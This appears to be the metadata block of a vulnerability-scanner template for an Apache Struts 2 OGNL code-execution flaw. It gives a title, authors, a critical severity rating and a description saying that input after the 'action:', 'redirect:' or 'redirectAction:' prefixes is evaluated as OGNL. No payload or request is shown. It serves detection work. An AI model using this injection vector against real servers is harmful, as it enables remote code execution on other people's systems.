info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
  author: exploitation & @dwisiswant0
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
